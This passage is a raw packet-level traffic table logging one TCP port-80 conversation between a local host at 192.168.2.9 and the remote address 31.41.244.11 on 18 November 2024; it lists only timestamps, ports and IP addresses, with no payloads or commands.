Nov 18, 2024 15:18:12.181895018 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.182076931 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.182133913 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.182146072 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.182189941 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.182194948 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.182233095 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.182255030 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.182271957 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.182308912 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.182328939 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.182351112 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.182351112 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.182421923 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.182658911 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.182713032 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.182714939 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.182753086 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.182770014 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.182804108 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.182885885 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.182920933 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.182933092 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.182972908 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.183307886 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.183357000 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.183360100 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.183394909 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.183413982 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.183449030 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.223757029 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.223788023 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.223850012 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.223879099 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.250394106 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.250431061 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.250467062 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.250519037 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.250567913 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.261004925 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.261035919 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.261073112 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.261087894 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.261143923 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.261181116 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.261209965 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.261218071 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.261229038 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.261254072 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.261265993 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.261298895 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.261511087 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.261565924 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.261569023 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.261603117 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.261616945 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.261656046 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.261867046 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.261903048 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.261926889 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.261940956 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.261948109 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.261977911 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.261996031 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.262025118 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.262564898 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.262600899 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.262620926 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.262638092 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.262655020 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.262690067 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.299391031 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.299448013 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.299504995 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.299568892 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.299614906 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.299629927 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.299664974 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.299669027 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.299696922 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.299707890 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.299720049 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.299745083 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.299752951 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.299782991 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.299823046 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.299834967 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.299873114 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.300188065 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.300250053 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.300291061 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.300328016 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.300364017 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.300386906 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.300400019 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.300419092 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.300436020 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.300450087 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.300476074 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.300483942 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.300523043 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.300987959 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.301047087 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.341121912 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.341161013 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.341202021 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.341211081 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.341243029 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.341267109 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.367153883 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.367213964 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.367378950 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.367413998 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.367468119 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.378031015 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.378089905 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.378153086 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.378201962 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.378376007 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.378407001 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.378437996 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.378447056 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.378462076 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.378496885 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.378550053 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.378570080 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.378604889 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.378616095 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.378643036 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.378652096 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.378681898 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.378725052 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.378869057 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.378928900 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.378948927 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.378985882 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.379039049 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.379761934 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.379796028 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.379831076 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.379848957 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.379883051 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.416282892 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.416321993 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.416358948 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.416399002 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.416431904 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.416613102 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.416647911 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.416685104 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.416699886 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.416731119 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.417135000 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.417171001 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.417188883 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.417217016 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.417227983 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.417263985 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.417274952 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.417301893 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.417309999 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.417337894 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.417346954 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.417375088 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.417382002 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.417511940 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.417603970 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.417658091 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.417659044 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.417695999 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.417722940 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.417732000 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.417756081 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.417773008 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.417778015 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.417825937 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.418200970 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.418236971 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.418260098 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.418275118 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.418405056 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.458230972 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.458293915 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.458328962 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.458329916 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.458362103 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.458388090 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.485090017 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.485126019 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.485161066 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.485165119 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.485197067 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.485205889 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.495237112 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.495306969 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.495332003 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.495357990 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.495388985 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.495395899 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.495405912 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.495440960 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.495452881 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.495511055 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.495512962 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.495544910 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.495572090 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.495584011 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.495601892 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.495632887 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.495907068 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.495944023 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.495966911 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.495981932 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.495999098 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.496026039 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.496026993 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.496074915 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.496862888 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.496897936 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.496921062 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.496932983 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.496944904 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.496982098 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.538913965 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.538975954 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539019108 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.539028883 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539055109 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.539064884 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539072037 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.539099932 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539105892 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.539145947 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539151907 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.539189100 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.539201975 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539237976 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539247036 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.539273024 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539275885 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.539309978 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539366961 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539386034 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.539402962 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539426088 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.539438009 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539448977 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.539474010 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539477110 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.539510012 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539546967 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539550066 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.539587975 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.539887905 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539921999 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539956093 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.539958000 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.539968014 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.540000916 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.540021896 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.540035963 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.540045977 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.540072918 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.540086031 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.540123940 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.575357914 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.575407028 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.575448036 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.575509071 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.575537920 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.602303028 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.602348089 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.602390051 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.602416992 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.612449884 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.612487078 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.612524033 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.612528086 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.612555981 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.612562895 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.612581015 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.612611055 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.612620115 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.612657070 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.612673044 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.612690926 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.612704992 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.612730026 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.612740040 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.612776995 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.613260031 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.613321066 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.613332033 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.613385916 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.613384962 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.613423109 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.613440037 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.613459110 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.613471985 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.613508940 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.614293098 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.614351988 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.614420891 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.614456892 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.614509106 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.655071020 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.655112982 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.655158997 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.655205011 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.655220985 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.655260086 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.655287027 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.655759096 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.655822992 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.655824900 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.655859947 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.655877113 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.655924082 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.656275988 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.656333923 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.656337023 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.656390905 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.656390905 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.656428099 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.656445980 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.656467915 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.656475067 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.656505108 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.656524897 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.656563044 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.656589031 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.656599998 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.656636000 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.656672001 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.656707048 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.656730890 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.656744957 CET	80	49847	31.41.244.11	192.168.2.9
Nov 18, 2024 15:18:12.656775951 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.656795979 CET	49847	80	192.168.2.9	31.41.244.11
Nov 18, 2024 15:18:12.657346010 CET	80	49847	31.41.244.11	192.168.2.9
